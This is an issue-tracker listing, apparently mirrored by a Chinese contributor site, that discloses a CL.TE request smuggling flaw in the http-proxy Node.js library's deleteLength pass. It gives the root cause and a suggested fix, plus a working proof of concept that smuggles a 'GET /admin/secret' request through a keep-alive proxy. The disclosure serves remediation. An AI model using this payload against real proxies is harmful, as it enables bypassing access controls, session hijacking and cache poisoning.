Security: HTTP Request Smuggling via deleteLength (CL.TE) — upstream unfixed CVE-2026-29057

未关闭
#1,721 1 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

还没有人认领这个 Issue。

评估

难度
3/5
预计耗时
1-2 天
新手友好度
72/100
Issue 类型
缺陷
描述清晰度
描述清楚
活跃度
活跃

调研方向

从 lib/http-proxy/passes/web-incoming.js 开始,然后运行提供的 keep-alive 复现步骤,观察 DELETE 请求和走私请求如何到达后端。完成的标准是,代理不再产生 issue 中所示的冲突 framing,同时不带这两个 header 中任一个的合法 DELETE 和 OPTIONS 请求仍能安全工作。

由索引模型根据 Issue 内容生成。

描述

Summary

The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.

CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.

Affected

  • Package: http-proxy
  • Version: 1.18.1 (latest, released 2020-05-17)
  • All versions since v0.9.0

Root Cause

lib/http-proxy/passes/web-incoming.js:

deleteLength: function deleteLength(req, res, options) {
    if((req.method === 'DELETE' || req.method === 'OPTIONS')
       && !req.headers['content-length']) {
      req.headers['content-length'] = '0';
      delete req.headers['transfer-encoding'];
    }
},

Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).

Reproduction

const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');

const backend = http.createServer((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk.toString());
  req.on('end', () => {
    console.log(`[BACKEND] ${req.method} ${req.url}`);
    res.end('OK');
  });
});

backend.listen(9001, () => {
  const httpAgent = new http.Agent({ keepAlive: true });
  const proxy = httpProxy.createProxyServer({
    target: 'http://127.0.0.1:9001',
    agent: httpAgent  // keep-alive required for smuggling
  });
  const server = http.createServer((req, res) => proxy.web(req, res));

  server.listen(9000, () => {
    const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
    const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';

    client.write(
      'DELETE /api HTTP/1.1\r\n' +
      'Host: localhost\r\n' +
      'Transfer-Encoding: chunked\r\n' +
      '\r\n' +
      smuggled.length.toString(16) + '\r\n' +
      smuggled +
      '\r\n0\r\n\r\n'
    );
  });
});

Output:

[BACKEND] DELETE /api
[BACKEND] GET /admin/secret  ← smuggled request parsed

Preconditions

  1. Proxy must use a keep-alive agent (default config uses Connection: close which prevents smuggling)
  2. Backend must reuse connections
  3. Attacker can send requests to the proxy

Impact

  • Request smuggling: arbitrary second request injected to backend
  • Access internal endpoints bypassing proxy routing
  • Session hijacking via shared connection context
  • Cache poisoning

Suggested Fix

Apply the same fix Next.js applied:

deleteLength: function deleteLength(req, res, options) {
    if((req.method === 'DELETE' || req.method === 'OPTIONS')
       && !req.headers['content-length']
       && !req.headers['transfer-encoding']) {
      req.headers['content-length'] = '0';
      // Do NOT delete transfer-encoding
    }
},

References

  • CVE-2026-29057 (assigned to Next.js for this issue)
  • Next.js fix: only add Content-Length: 0 when both headers absent

Reported by: @Black1hp

主要语言
JavaScript
星标
14.1k
派生
2k
PR 合并指标
30 天内没有已合并 PR

环境准备

这个项目没有提供开发容器、Dockerfile 或贡献指南,环境需要你自己搭建:先看它的 README,通用步骤见我们的新手贡献指南。

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

http-party/node-http-proxy 的其他 Issue

查看 http-party/node-http-proxy 的全部 Issue

相似的 Issue

更多 JavaScript Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。